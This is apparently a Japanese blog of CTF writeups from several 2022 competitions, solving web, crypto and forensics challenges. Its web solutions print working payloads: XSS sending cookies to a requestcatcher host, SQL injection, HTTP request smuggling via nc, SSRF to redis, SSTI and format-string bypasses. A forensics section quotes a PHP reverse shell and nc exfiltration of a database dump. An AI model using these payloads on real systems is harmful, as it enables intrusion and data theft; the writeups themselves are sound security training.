はまやんはまやんはまやん

hamayanhamayan's blog

TSG LIVE! 9 CTF Writeups

[web] Onomancy-Oriented Programming

Vueでできた問題。admin botが用意されていて、cookieにフラグがあるので、XSSが期待されている。
ソースコードが与えられているので(ありがとうございます!)、XSS箇所を探すと/app/views/index.ejsにある。

<input type="hidden" name="name" value="<%- name %>">

Vueのクライアント側ではなく、サーバ側のテンプレートエンジンのejsが値を入れ替えるときにXSSが発生する。
まずは手元でalertが出るかどうか"><img src=x onerror=alert(0)><img src="あたりで試してみる。
GETパラメタに乗せるので/?name=%22%3e%3cimg%20src%3dx%20onerror%3dalert(0)%3e%3cimg%20src%3d%22にアクセスするとアラートが出てくる。
XSS手法が確立されたので、あとはやるだけ…だったが、刺さらない。

最初、"><img src=x onerror="fetch('https://xxx.requestcatcher.com/test?'+document.cookie)"><img src="というのを踏ませてみたがダメだった。
普通に自分で踏むと動くが、POST /reportで送りつけてもうまく動かない。

これ以降のあれこれは完全に想像です。鵜呑みにしないように

worker.tsを見ると、page.goto(urlの後にsleepとかが無いので、一瞬開いてfetchの実行にまで至ってないのでは?と想像した。
ちょっと遅らせてみるか…と思い"><img src=x onerror="fetch('https://xxx.requestcatcher.com/test?'+document.cookie)"><img src="https://asdfsadfadfsddadfsadfsadfsadfsadfsadfsadfsadf.com/sadf.pngのようにしてみると
微妙に負荷がかかったのかlocalhost上では(手元環境上では)ちゃんとcookieが帰ってきた。
よし、と思い本番に投げてみたが、帰ってこない。
もうちょっと負荷をかけてやる必要があるか…?とも考えたが、easyだから別のpayloadだったら刺さりそうと考え直して、最終的に以下でフラグを得た。

ここまで想像でした。

"><img src=1 onerror="window.location.href='https://xxx.requestcatcher.com/test?get='+document.cookie

[web] Onomancy-Oriented Prophecy 解けず

分からなくてcrypto解いてました…
何とかしてvueをもう一回動かすことで解く問題です…天才だ…
どこかの問題の解説で「vueを内部にもう一個作って…」みたいな解法を見てわけわからんとなった記憶がありますが、それに近いテクかもですね…

[crypto] RSA debug?

実装に問題があり、my_powが知っているpowとは違う動きになっている。
具体的にはnが0以上なら1 + a * nというのが帰ってくる。
よって、暗号文cは、c = 1 + flag * eという感じで計算されるため、flag = (c - 1) / eで計算可能。

e = 257
c = 1032307400372525030420319173259503709384961767939821142794251896087430140750696054688678035256705431662987859651860033467060026426212901209540363

from Crypto.Util.number import *
print(long_to_bytes((c - 1) // e))

[crypto] RSA debug??

こちらも実装に問題があり、my_powが知っているpowとは違う動きになっている。
具体的にはnが0以上ならa * a * 256というのが帰ってくる。
よって、暗号文cは、c = flag * flag * 256という感じで計算されるため、2字方程式を解けばflagが得られる。

sage: c = 35670804975997119135517974550619182851023199117712172481981302698858610501172231787573382627176449105648892197879980333661081777520179757444468521044149805726225887861984....: 296836753557996580478318594607972377600
sage: x = var('x')
sage: solve([c = x^2*256], x)

これで2つ候補が出てくるので正の方を使ってlong_to_bytesするとフラグとなる。

BuckeyeCTF 2022 Writeups

[web] buckeyenotes

ユーザー名はbrutusB3stNut9999らしい。
ログイン画面もあるので、SQLiを試す。

POST /index.phpに対して、手始めにusername=brutusB3stNut9999&password='%20or%20''%3d'を投げてみると、nice try, hacker >:D I removed your equal signsと言われる。
方向性はあっていそう。

色々試すと、username=brutusB3stNut9999&password='%20or%201%20--で応答が変わる。
Logged in as rene. Nothing posted yet :(
だが、username=rene&password='%20or%201%20--としても応答は変わらない。
そうか、恒真になっているのか。パスワードを' or 1 limit 1 offset 1 --とするとフラグが得れた。
つまりusername=brutusB3stNut9999&password='%20or%201%20limit%201%20offset%201%20--でフラグ。

buckeye{wr1t3_ur_0wn_0p3n_2_pwn}

[web] pong

websocketで通信するwebゲームが与えられる。

  • ゲーム開始時
    • 送信 42["begin"]
    • 受信 42["begin",{"bvx":0.002154512541541786,"bvy":-0.0017458436916229707}]
      • 多分初期加速度
  • 勝敗が決する
    • 42["score",-0.25047568828470707]というのが大量に送られる

サーバー側からすると、scoreくらいしか判定に使えそうなものはなさそう。

if(bx < -.1 || bx > 1.1) {
    socket.emit("score", bx);
}

みたいなコードもあるので、1.2くらいを送れば良さそう。
負けた時に送られているスコアを見ると-0.1ずつされていた。
負けた時のスコアを1.2くらいに変えて、1.3,1.4,...のように増やしていくと、上のバーが増えていって、何回かやっているとフラグが得られた。

buckeye{1f_3v3ry0n3_ch3475_175_f41r}

[web] owl

Discordで連絡すると、反応するBOTが与えられる。
URLを与えるとCookie経由でフラグをくれるが、ドメインにowlを含む必要があるらしい。
request catcherで適当にowlを含むドメインを作って、リクエストを送ってもらえばいい。

https://owl-sadjfgjiwaejgtiwaejigsdfd.requestcatcher.com/
を使った。

buckeye{7h3_m0r3_17_5335_7h3_1355_17_h0075}

[web] textual

flag.texを読み込めればいい。

\documentclass{article}
\begin{document}
\input{flag.tex}
\end{document}

を入れてCtrl+sすればフラグが得られる。

buckeye{w41t_3v3n_l4t3x_15_un54f3}

[web] quizbot 解けず

解けず。

https://github.com/Phil-ip-M/CTF-writeups-DIG174L/blob/main/Web/quizbot.md

あー、なるほど。これは解けないとダメだな

[web] scanbook

特定のメッセージを入れるとQRコードが発行されて、それを読み込ませればメッセージが見られるサイト。
何個かQRコードを作ってみると連番の数値がQRコードになっているだけ。
数値を戻せばほかの人の投稿が見られそう。IDORか?

数を適当に試すと0をQRコードにしたものを読み込ませるとフラグが出てきた。
色々回り道してしまったな…

buckeye{4n_1d_numb3r_15_N07_4_p455w0rd}

[web] Hambone

/asdfのように適当に文字列を追加するとOnly hexadecimal values [0-9A-Fa-f] is allowed in URLと言われた。
なるほど。

/00とすると背景が変わった。
なるほど、

def get_distances(padded_url : str, flag_path : str):
    distances = []
    for i in range(3):
        # calculate hamming distance on 16 byte subgroups
        flag_subgroup = flag_path[i*32:i*32+32]
                
        z = int(padded_url[i*32:i*32+32], 16)^int(flag_subgroup, 16)
        distances.append(bin(z).count('1'))  
        
    return distances

のような感じでハミング距離が与えられる。
000000...から初めて100000...にしてハミング距離が縮まるかを確認していけば良さそう。
「hexを32文字ずつ取り出している16bytes分 xor 入力値16bytes分」を計算後の1となっているビット数が1つのRGB値になっている。
48bytes分先頭から特定していこう。

import requests
import time
import re
from Crypto.Util.number import *

base = 'https://hambone.chall.pwnoh.io'

prefix = b'\x80'
rgb = [b'\x00' * 16] * 3

def get(rgb):
    h = rgb[0].hex() + rgb[1].hex() + rgb[2].hex()
    url = f'{base}/{h}'
    print(url)
    
    t = requests.get(url).text
    a = re.search(r'<body style=\"background: #([0-9a-f][0-9a-f])([0-9a-f][0-9a-f])([0-9a-f][0-9a-f])\">', t)
    #a = re.search(r'<p style="color:#([0-9a-f][0-9a-f])([0-9a-f][0-9a-f])([0-9a-f][0-9a-f])\">', t)
    print(t)
    r = int(a.groups()[0], 16)
    g = int(a.groups()[1], 16)
    b = int(a.groups()[2], 16)
    #print(r)
    #print(g)
    #print(b)
    #exit(0)
    return (r, g, b)

def up(b, dig):
    return long_to_bytes(bytes_to_long(prefix + b) ^ pow(2, digit))[1:]

for digit in range(8 * 16 + 1):
    (r1, g1, b1) = get(rgb)

    print(f'{digit} / 128')

    rgb2 = [
        up(rgb[0], digit),
        up(rgb[1], digit),
        up(rgb[2], digit)
    ]

    (r2, g2, b2) = get(rgb2)

    if r1 > r2:
        rgb[0] = rgb2[0]
    else:
        r2 = r1
    if g1 > g2:
        rgb[1] = rgb2[1]
    else:
        g2 = g1
    if b1 > b2:
        rgb[2] = rgb2[2]
    else:
        b2 = b1
    
    print(f'r: {rgb[0]} ({r1} -> {r2})')
    print(f'g: {rgb[1]} ({g1} -> {g2})')
    print(f'b: {rgb[2]} ({b1} -> {b2})')
    print("==============================================================")

    time.sleep(5)

とりあえず、flag_pathが
538d3c13426a67b5b75e76f8ca2573ef4822ddd465220d5484e8887394703cac87ad79e3696098c779a669b7ebc74d62
であることは分かったが、何も出てこない…

逆か?と思って、

https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')NOT()To_Hex('None',0)&input=NTM4ZDNjMTM0MjZhNjdiNWI3NWU3NmY4Y2EyNTczZWY0ODIyZGRkNDY1MjIwZDU0ODRlODg4NzM5NDcwM2NhYzg3YWQ3OWUzNjk2MDk4Yzc3OWE2NjliN2ViYzc0ZDYy

で逆にしてみるとフラグが出てきた。

GET /ac72c3ecbd95984a48a1890735da8c10b7dd222b9addf2ab7b17778c6b8fc3537852861c969f6738865996481438b29d

buckeye{th3_b4ckgr0und_i5_n0t_4_l13}

[web] goober 解けず

解けず。
SVGRFIするんだろうが、解けず。

https://discord.com/channels/881578226546257941/1032359206902321163/1039037057730871456

あ”ー

   // remove custom doctype, dtd
    reg := regexp.MustCompile(`<!DOCTYPE[^>[]*(\[[^]]*\])?>`)
    contentSafe := reg.ReplaceAllString(contents, "")

これが全く目に入ってこなかった。二重で書いとけばいい系ね。

[web] shortbread

haproxy+gunicornでアクセス制限といえば、Request Smugglingなので脆弱性を探す。
requirements.txtでgunicorn==20.0.2のようにgunicornがバージョン指定されている所から以下が見つかる。
grenfeldt.dev

適当にlongpathを生成して、以上のブログを参考にpayloadを組み立てる。

echo -en "GET / HTTP/1.1\r\nHost: shortbread.chall.pwnoh.io:13389\r\nContent-Length: 261\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxGET /admin/api/logs?path=95a97864be4e542b44042dfc8f24c6eeba7a76551ad76e04d9f35d7befe68013532b30cf853bb45b19f849df2e5949b83d43eba833d9840a30714df7f593a05fd869174aa1cc48ef3fb2fd48ae90 HTTP/1.1\r\nHost: shortbread.chall.pwnoh.io:13389\r\nContent-Length: 57\r\n\r\nGET / HTTP/1.1\r\nHost: shortbread.chall.pwnoh.io:13389\r\n\r\n" | nc shortbread.chall.pwnoh.io 13389

とすると

...
    <div>
        <h3> Long url: 95a97864be4e542b44042dfc8f24c6eeba7a76551ad76e04d9f35d7befe68013532b30cf853bb45b19f849df2e5949b83d43eba833d9840a30714df7f593a05fd869174aa1cc48ef3fb2fd48ae90 </h3>    
    </div>

    <div class="alert alert-secondary" role="alert">
      <p> 2022-11-06 06:37:53.996661 [172.17.0.14] Created link http://shortbread.chall.pwnoh.io:13389/url/95a97864be4e542b44042dfc8f24c6eeba7a76551ad76e04d9f35d7befe68013532b30cf853bb45b19f849df2e5949b83d43eba833d9840a30714df7f593a05fd869174aa1cc48ef3fb2fd48ae90 to http://shortbread.chall.pwnoh.io:13389/ </p>
    </div>

ok. 良い感じ。

echo -en "GET / HTTP/1.1\r\nHost: shortbread.chall.pwnoh.io:13389\r\nContent-Length: 128\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxGET /admin/api/logs?path=../../../../../flag.txt HTTP/1.1\r\nHost: shortbread.chall.pwnoh.io:13389\r\nContent-Length: 57\r\n\r\nGET / HTTP/1.1\r\nHost: shortbread.chall.pwnoh.io:13389\r\n\r\n" | nc shortbread.chall.pwnoh.io 13389

でフラグ獲得。

buckeye{1_th1nk_1ll_st1ck_t0_fr0nt_3nd}

[crypto] megaxord

ヒントから察するに何かでxorしてあると見られる。
cyberchefに通してxor bruteforceすると58(hex)で良い感じにぞろぞろ出てくる。
フラグがそこに含まれていた。

buckeye{m1gh7y_m0rph1n_w1k1p3d14_p4g3}

[crypto] Twin prime RSA

p, q=p+2なので双子素数
N = pq = p(p+2) = p2 + 2pとなり、p^2 + 2p - N = 0を解けばpが分かる。
後は復号化する。

#sage
n = 20533399299284046407152274475522745923283591903629216665466681244661861027880216166964852978814704027358924774069979198482663918558879261797088553574047636844159464121768608175714873124295229878522675023466237857225661926774702979798551750309684476976554834230347142759081215035149669103794924363457550850440361924025082209825719098354441551136155027595133340008342692528728873735431246211817473149248612211855694673577982306745037500773163685214470693140137016315200758901157509673924502424670615994172505880392905070519517106559166983348001234935249845356370668287645995124995860261320985775368962065090997084944099
p = var('p')
ps = solve([p^2 + 2*p - n == 0], p)
for p in ps:
    print(p)

'''
p == 143294798577213005576020354449363336712753101204933361044269678287588574905872412650617497576541788967876246407437412477908557870604609568483821469789039751874662646080352254896471732798522024624126808158129285267986755832482176755174033932685828569532434529721714065504111788246725634802602600226314398282709
p == -143294798577213005576020354449363336712753101204933361044269678287588574905872412650617497576541788967876246407437412477908557870604609568483821469789039751874662646080352254896471732798522024624126808158129285267986755832482176755174033932685828569532434529721714065504111788246725634802602600226314398282711
'''

上のpを使えばいい。

n = 20533399299284046407152274475522745923283591903629216665466681244661861027880216166964852978814704027358924774069979198482663918558879261797088553574047636844159464121768608175714873124295229878522675023466237857225661926774702979798551750309684476976554834230347142759081215035149669103794924363457550850440361924025082209825719098354441551136155027595133340008342692528728873735431246211817473149248612211855694673577982306745037500773163685214470693140137016315200758901157509673924502424670615994172505880392905070519517106559166983348001234935249845356370668287645995124995860261320985775368962065090997084944099
c = 786123694350217613420313407294137121273953981175658824882888687283151735932871244753555819887540529041840742886520261787648142436608167319514110333719357956484673762064620994173170215240263058130922197851796707601800496856305685009993213962693756446220993902080712028435244942470308340720456376316275003977039668016451819131782632341820581015325003092492069871323355309000284063294110529153447327709512977864276348652515295180247259350909773087471373364843420431252702944732151752621175150127680750965262717903714333291284769504539327086686569274889570781333862369765692348049615663405291481875379224057249719713021

p = 143294798577213005576020354449363336712753101204933361044269678287588574905872412650617497576541788967876246407437412477908557870604609568483821469789039751874662646080352254896471732798522024624126808158129285267986755832482176755174033932685828569532434529721714065504111788246725634802602600226314398282709
q = n // p

from Crypto.Util.number import *

e = 0x10001

phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
print(long_to_bytes(pow(c, d, n)))

buckeye{B3_TH3R3_OR_B3_SQU4R3abcdefghijklmonpqrstuvwxyz0123456789}

[misc] keyboardwarrior

Bluetooth通信が流れている。
キーボードの入力を復元すれば良さそう。

Wiresharkで開いて眺めると「Rcvd Handle Value Notification, Handle: 0x001d (Human Interface Device: Unknown」というそれっぽいものがある。
構造体も認識されているので眺めると、Bluetooth Attribute ProtonolのValue部分がUSBでのキーボード通信として流れてくるものと酷似している。

データを抜き出してきて、後はDecoding Mixed Case USB Keystrokes from PCAPを参考に復元すればいい。

buckeyectf{4v3r4g3_b13_3nj0y3r}

Jade CTF 2022 Writeups

[forensic] LM10

見やすそうなTCP通信があるので、とりあえず「追跡 > TCPストリーム」で眺める。
画像ファイルがいくつか落とされているので、持ってきてみてみよう。
「ファイル > オブジェクトをエクスポート > HTTP」で持ってくる。

random.pngにフラグが書いてある。

jctf{No_doubt_he's_the_best_in_the world}

[forensic] AUTOCAD

開けないpngファイルが得られる。
TSXBINで開いて、正しいpngファイルと比較してみると、WidthとHeightが設定されていないよう。
Heightを適当に大きな値にして、widthを全探索で大きくしてみる。

with open('poster.png', 'rb') as f:
    b = f.read()

pre = b[:16]
wid = b[16:20]
post = b[20:]

for wid in range(2000):
    with open(f'outs/out{wid}.png', 'wb') as f:
        f.write(pre + wid.to_bytes(4, 'big') + post)

Explorerのサムネイルで適当に見ていると、横幅を10進数で800にしたところで急に画像が出てくる。
青い空を見上げればいつもそこに白い猫で開いて、ステガノグラフィー解析で適当に見ると「ビットプレーン ビット4」でフラグが出てくる。

jctf{st3g_1s_easy_as_f**k}

[web] ULTRA BABY WEB

guess問だろうと思って、本文を参考にCookie: user=adminとしてみるとフラグが得られた。

jadeCTF{my_l0v3_f0r_c00k1es_1s_n3ver_end1ng}

[web] BABY WEB

アクセスすると/?page=0というのが付与されてくる。
0はランダムに値が変わるが、1とか2とかを試すと変わらない。
bruteforce禁止とあるが、うしろめたさを感じつつ3秒くらいスリープを入れて0から順に値を持ってきてみる。
みると、値が固定になったり変動したりというのが見て取れる。

k m 4 k R i hz n b0uO g JFo8DAG _ UIpM3L5mbZEx 1 X94C9XMafc1OtOqbWWBr t ejs0NO6fOswD3lExGDlFOLmy4wtOYxIS3 _ EDLh9LXPvg
U m 4 k C i Vc n lFXM g H0iw5MR _ y0yknVwK271G 1 j4a2VAUkULD6UfuTXkLh t blfkSalq3hcnwFznfywTWjIEoy1MI8zBM _ 7EGJWjAe16
D m 4 k h i ua n sqKD g ctIfolc _ MSplxZMMq23g 1 LrQ6GarlVoPEvNZ1z7bu t qX458h0ogW8IYYe1dYelA5qc8UR0bKBes _ cxFw2mvKHO

場所を見てみると、1, 2, 3, 5, 8, 13, 21, ...という感じでフィボナッチ数列になっている。
フィボナッチ数列に従って取り出してみるとフラグが出てくる。

import requests
import time

flag = "m4"
a = 1
b = 2
for p in range(100):
    c = a + b
    t = requests.get(f'http://34.76.206.46:10008/?page={c}').text
    flag += t
    print(f"[+] {flag}")

    a = b
    b = c

    time.sleep(3)

(これはwebの何を問うているんだろう…)

jadeCTF{f1bonacci_FTW!}

[web] ++GAME

特定ユーザーの所持金を0円から9223372036854775807円に増やす問題。
APIサーバーでGET /update_score.php?username=[username]&next_level=9223372036854775807&signature=[signature]が成功すれば増やすことができる。
しかし、signatureを作成するにはsecretを把握する必要がある。
このsignatureはsha1(username+next_level+secret)で作成される。

serverのindex.phpを見ると、sha1(任意のusername+任意のpassword+secret)を作成することができ、
この任意の入力部分にusername+next_levelを埋め込む。

  1. 適当にユーザーVwK271G1j4a2VAUkULD6Uを作成
  2. serverに対してPOST /でbodyをusername=VwK271G1j4a2VAUkULD6U&password=9223372036854775807
  3. APIに目的のsignatureが出来上がっている API: http://api/register.php?username=VwK271G1j4a2VAUkULD6U&password=9223372036854775807&signature=1aae3f07e60361aeaaeaabbe9d97e4b07a579ab7
  4. apiに対してGET /update_score.php?username=VwK271G1j4a2VAUkULD6U&next_level=9223372036854775807&signature=1aae3f07e60361aeaaeaabbe9d97e4b07a579ab7をして有効なsignatureで金額を増やす
  5. serverに対してGET /dashboard.phpするとフラグが得られる。

jadeCTF{b4s1c_yet_sm4rt_xploiTTT}

[stegano] AVENGERS ASSEMBLE!

画像を見た瞬間何を要求されているかが理解できて笑ってしまった。
気分転換にパズルを解いた。

jadeCTF{scr4mbl3d_w3_f4ll_un1t3d_w3_st4nd}

[web] GREEN COFFEE

適当にディレクトリスキャニングすると/internalが見つかる。
You shouldn't be here. This is for internal use onlyと言われてしまう。
スキャニングしても何も出てこんが…なんだろう。

ここまででストップ。
以下、復習。

discordを見るとRequest Smugglingができるっぽい。
grenfeldt.dev
あー、レスポンスにserver: gunicorn/20.0.4含まれてますね…
discordの方にそのまま使えるexploitコードが紹介されているが、そうやって使うのねという感じ。
んー、探せてても解けたか怪しいな…

TsukuCTF 2022 writeup

[web] bughunter

タグにRFC9116とあるので見てみるとsecurity.txtについてのRFCだった。
/.well-known/security.txtにアクセスしてみるとフラグが書いてある。

TsukuCTF22{y0u_c4n_c47ch_bu65_4ll_y34r_r0und_1n_7h3_1n73rn37}

[web] viewer

フィルター機能があるSSRFできそうなサイトが与えられる。 redisにフラグが入っているので、フィルターをかいくぐってSSRFする方針で問題を解く。

フィルター1

サーバに踏ませるURLはスキーマ部分のブラックリストチェックが入っている。

blacklist_of_scheme = ['dict', 'file', 'ftp', 'gopher', 'imap', 'ldap', 'mqtt', 'pop3', 'rtmp', 'rtsp', 'scp', 'smb', 'smtp', 'telnet']

def url_sanitizer(uri: str) -> str:
    if len(uri) == 0 or any([scheme in uri for scheme in blacklist_of_scheme]):
        return "https://fans.sechack365.com"
    return uri

だがこれでは大文字に対応できないので、DICT://みたいにすれば使える。 dictスキーマが使えればSSRFでredisとやり取りできるので、DICT://redis:6379/keys *としてみよう。 色々出てくる。

...
$36
bdf4486d-2989-4028-87a2-c1a025b28186
$36
...

みんな思い思いの名前を付けているなぁと思いを馳せながら探すと
bdf4486d-2989-4028-87a2-c1a025b28186
が該当するもののようだ。

あとはフラグを持ってくるだけ…なのだが、フィルターがもう一つある。

フィルター2

blacklist_in_response = ['TsukuCTF22']

def response_sanitizer(body: str) -> str:
    if any([scheme in body for scheme in blacklist_in_response]):
        return "SANITIZED: a sensitive data is included!"
    return body

応答にTsukuCTF22が入っているとダメ。
redisではGETRANGEという便利なものがあるので、それを利用しよう。

DICT://redis:6379/getrange bdf4486d-2989-4028-87a2-c1a025b28186 0 60で前半を持ってきて…
-> {&#34;id&#34;: &#34;bdf4486d-2989-4028-87a2-c1a025b28186&#34;, &#34;name&#34;: &#34;Tsuku

DICT://redis:6379/getrange bdf4486d-2989-4028-87a2-c1a025b28186 61 -1で後半を持ってくる。
-> CTF22{ur1_scheme_1s_u5efu1}&#34;}

あとは結合したら答え。

TsukuCTF22{ur1_scheme_1s_u5efu1}

[web] leaks4b

TsukuCTF22{aaaaaaa}というのがフラグの形式なので、使える文字から正規表現で合致するものを考えると...................を送ればいい。
正規表現を弄って、一文字目を特定するなら

...........a.......
...........b.......
...........c.......

というのを送って、マッチすればflag0.jpgがHTMLに入ってくるはずである。
問題はこのflag0.jpgをどうやって検知するかであるが、この入力文字列は実はXSSにも使えてしまうことを利用する。
検索の邪魔をしないように|をつかって差し込もう。
flag0.jpgは相対パスで指定されているのでbaseタグで通信をこっちに向けるようにする。
色々ガチャガチャやると、

...................|<base href=//[yours].requestcatcher.com>

みたいな感じでflag0.jpgの通信が傍受できた。
適当にa..................みたいに変えると失敗したときのcake3.jpgの通信に変わったのでうまく動いていそう。
後はこれをオラクルとしてうまく使って情報を抜き出してくる。

import requests
import string
import time

for c in string.ascii_lowercase:
    p = f'http://133.130.96.134:31416/?cake=...........{c}.......%7c%3Cbase%20href%3d%2f%2f[yours].requestcatcher.com%3E'
    print(p)
    requests.post('http://133.130.96.134:31416/order', data={'url': p})
    time.sleep(5)

こんな感じでリクエストを飛ばして、受け取ったリクエストと順番を見て、フラグを復元していく。
なるべくアルファベットの前の方でマッチングしてくれる優しさを感じた。

TsukuCTF22{cakeuma}

ASIS CTF Quals 2022 Writeup

[web] Beginner ducks

ソースコード有り。

GET /duck?what=[input]という感じで渡す。
入力は[A-Za-z.]しか使えず、最終的にwith open(eval(what),'rb') as f:部分で評価される。

with open('flag.txt') as f:
    flag = f.read()

で謎取得している部分があるが、withで読み込んでも変数自体は残るのか。
定義されている変数を参照するくらいしかできることがなさそうなので、実はfが読めちゃうのか?

>>> print(open('flag.txt'))
<_io.TextIOWrapper name='flag.txt' mode='r' encoding='UTF-8'>

以上を参考に色々実験していると/duck?what=f.nameでフラグが得られる。

ASIS{run-away-ducks-are-coming-🦆🦆}

DEADFACE CTF 2022 Writeup

[Fore] Dreaming of You

プロトコル階層統計を見ながら、特徴的な通信を探す。
上から順番に色々試してみると、Telnetで通信を流し見するとフラグが手に入る。
右クリックからTCPストリームの追跡をするとかなり見やすい。

flag{longing_for_nancy}

[Fore] Scans系フォレンジック

Scans

スキャン方式を答える問題。
攻撃を受けているときのパケットみたいなので、とりあえず終端IPの統計を見てみよう。

143.244.178.213
165.227.73.138

がダントツトップ2。取得している端末のIPが一番多いと思うので2番目が攻撃を仕掛けているIPに見える。
ip.src == 165.227.73.138でフィルターをかけてみる。

冒頭でポートスキャンしているように見える。
TCPのフラグを見てみるとSYNと出ているので、適当にflag{SYN}で正答だった。

Passing on Complexity

バックアップユーザーのパスワードが要求されている。
適当に「pass」で文字列検索しながら適当に周辺を漁るとmysql -u backup -pbackup123という
コマンド実行があるので、パスワードが漏洩する。

flag{backup123}

Shells

info.phpで文字列検索すると、RCEの実行みたいな履歴が見える。
IP,Portを確認すると、165.227.73.138:13123(攻撃側) <-> 143.244.178.213:55760(被害者)みたいな感じに
C2通信している。
91275番目のパケットにb374k shellという文字列があり、検索するとそういったwebshellがあった。
適当にフラグを作って投げると正答。

flag{b374k}

Escalation

権限昇格の原因を特定する問題。
見つかったC2通信を漁ると、

cp /opt/backup.py /tmp
echo "cmd=\"php -r '\$sock=fsockopen(\\\"165.227.73.138\\\",4815);exec(\\\"/bin/bash -i <&3 >&3 2>&3\\\");'\"" >> /opt/backup.py
echo "popen(cmd)" >> /opt/backup.py
cat /opt/backup.py

のような内容が見つかる。
flag{使用されたファイル名_使用された変数名}として答える。
適当に作ると正答した。

flag{backup.py_cmd}

The Root of All Evil

権限昇格後の活動を補足する。
前の問題によると、165.227.73.138:4815にリバースシェルを張っているので、その通信を確認する。
…が、適当にflag{で検索しても出る。

flag{pr1vesc_wi7h_cROn}

New Addition

ユーザーをデータベースに追加したみたい。
適当に流し見すると、以下SQL文が見つかる。
mysql -u backup -pbackup123 -D esu -e "INSERT INTO users (username, first, last, email, street, city, state_id, zip, gender, dob) VALUES ('areed2022', 'Alexandra', 'Reed', 'fake@email.com', '830 Iowa Place', 'Reese', 23, '48757', 'f', '1999-08-19');"

flag{areed2022}

SHAshank Redemption

ちょっと野暮用で抜けてたらCTFが終わっていた。
多分あってると思う回答。

実行コマンドを漁ると
nc 165.227.73.138 13123 < backup_esu_20220727145001.sql.gz
というのが出てくる。
直後の通信で13123でやり取りされているデータがあるので持ってきてハッシュを取ると答えなはず。

$ sha256sum a.bin
dd71d615d384baf3fb2c0978a5a2f84bbc6be788b351d131ff1e100acd284cb3  a.bin

$ sha1sum a.bin 
334a3d4f976cdf39d49b860afda77d6ac0f8a3c6  a.bin

shaほにゃららだろうけど、sha256かsha1かどっちかだと思われるが…

GDG Algiers CTF 2022 復習Writeup

自明な問題しか解けなかった。割とちゃんと復習したのでWriteupにしておく。
Discordにすべてあるので、そちらが一次情報源。

[web] ezphp (fixed)

<?php
session_start();
include "flag.php";

if (!isset($_GET["login"]) || !isset($_GET["pass"]))
    die(show_source(__FILE__));

if ($_SESSION["admin"] == 1)
        echo $FLAG;

$login = $_GET["login"];
$password = $_GET["pass"];
$_SESSION["admin"] = 1;
if ($login !== "admin" || md5($password) !== "117080b3bcbd07588b4df032280f46a5")
{
    echo "Wrong password\n";
    $_SESSION["admin"] = 0;
}

?>

方針としては、Wrong passwordになってしまうのは避けられないので、$_SESSION["admin"] = 1;が実行されてから
$_SESSION["admin"] = 0;が実行されるまでの間で問題を起こして強制終了させることを考える。
開催時はmd5でずっと考えていたが、なんとecho部分でクラッシュさせることができる。

https://repo.zenk-security.com/Techniques%20d.attaques%20%20.%20%20Failles/HTTP%20HEAD%20method%20trick%20in%20php%20scripts.pdf

ここにある情報そのまま。
PHPは色んなリクエストを同一phpファイルで受けることができ、HEADリクエストを使えば出力時にエラーとなって落とすことができる。

curl -v -X HEAD 'http://ezphp-fixed.chal.ctf.gdgalgiers.com/?login&pass'としてセッションを作ると、
$_SESSION["admin"] == 1になっているので、
そのセッションを使って
curl -H 'Cookie: PHPSESSID=2a1266f57e4e0ad7caa56c979e9ef7a6;' 'http://ezphp-fixed.chal.ctf.gdgalgiers.com/?login&pass'
でフラグ獲得。

[web] Validator

schemaというライブラリが使われている。
エラー文字列を差し込んでいる所が必要か?という感じなので、ソースコードを見てみる。
https://github.com/keleshev/schema/blob/master/schema.py#L420
raise SchemaMissingKeyError(message, e.format(data) if e else None)のようにエラー文字列に対してformatが差し込まれているので、
pythonのformat string attackが使えそう。

POST /validate HTTP/1.1
...

{"schema":{"x":"int"},"validMsg":"abc","invalidMsg":"{0.__class__}","data":"{\"x\":\"1\"}"}

のような感じでinvalidMsgにpayloadを入れてみると、MyDictが出てくる。
OK.刺さっていそう。
本番はここで止まってしまった。

刺さらないーと思っていたが、dataに何か入っているとなんか色々邪魔をしてしまうっぽい。
ここが原因か。

{"schema":{"x":"int"},"validMsg":"abc","invalidMsg":"{0.__class__.__getattr__.__globals__[app].config}","data":"{}"}

こうすれば秘密鍵が得られるのでこれでセッションをadmin: Trueで作り直してフラグを獲得する。

from flask import Flask, request, redirect, render_template, session, send_from_directory

app = Flask(__name__)

app.secret_key = '3PmqjTIyNHJe3i5psDJNFAkwoJyUZTwy'

@app.route("/")
def index():
    session["isAdmin"] = True
    return "look your cookie!"

app.run()

で作って、

$ curl -H 'Cookie: session=eyJpc0FkbWluIjp0cnVlfQ.Y0OJiQ.wbAzx-w6e7fvMAybnHzp-Cti-2w;' http://validator.chal.ctf.gdgalgiers.com/flag
CyberErudites{eV3n_PYTh0N_C4Nt_3$c4P3_fRoM_foRm4T_$Tring_buG$}

[web] Pipe your way

SSTIをするのは明白だが、フィルターが結構厳しい。

'.','_','|join', '[', ']', 'mro', 'base','import','builtins','attr','request','application','getitem','render_template'

以上が使えない。

どちらもmapというのを使ってメソッドを取得している。

(lipsum,)|map(**{"attribute" : "__globals__"})|list|last

みたいな感じ。これでlipsum.__globals__と同等になる。
ドットが使えない部分を、mapでフィルタリングして最後に取得用に|list|lastすることで取得可能にしている。
一体、どこでこんな謎構文を仕入れてくるんだろうか…
他は特に珍しい部分は無くRCEにつなげられる。
{{ lipsum.__globals__.__builtins__.eval("open('flag.txt').read()") }}に対して
メソッド呼出をmapに変換して、文字列部分を\xXXで変換すればフラグが得られる。

[web] Lay Low'ah

latexを与えるアプリケーションが与えられる。

\documentclass{article}
\usepackage{verbatim}
\begin{document}
\verbatiminput{app.py}
\end{document}

みたいにするとLFI可能で、utils.pyを見てみると、lualatexでコンパイルされていることが分かる。
SECCON Beginners CTF 2022のおかげでここまでは来れた。
ここでスタックしてしまったが、lualatexではluaコードをlatexに差し込めるっぽい。
https://discord.com/channels/1008127439349755934/1028728988539031703/1028743328323338403
ここに最終的なエクスプロイトコードがあるが、latexに埋め込んだluaコードを使って、
SSRFをして、redisサーバにつないでデータを抜いてくるとフラグがある。
んー、なるほど…
なお、Discordにあるコードで使用されているredisの接続情報はluaを使って/proc/self/environをLFIしてくれば得られる。
CACHE_REDIS_URLに認証情報付きのURIが書いてある。
接続できたら、keys *でFLAGというキーが得られるので、get FLAGすればフラグが得られる。

 
 
 
 
 
 
 
 
 

ここまでちゃんと復習して、以下は解法を見ただけ。

[web] perfect model

学習済みモデルを提出するサイト。
正答率100%のモデルが提出できればフラグ獲得。

学習済みモデルはPickleっぽいので、RCE発火するPickleを用意するとリバースシェルできる。
そこから、検証で使うprivateデータセットが得られる。
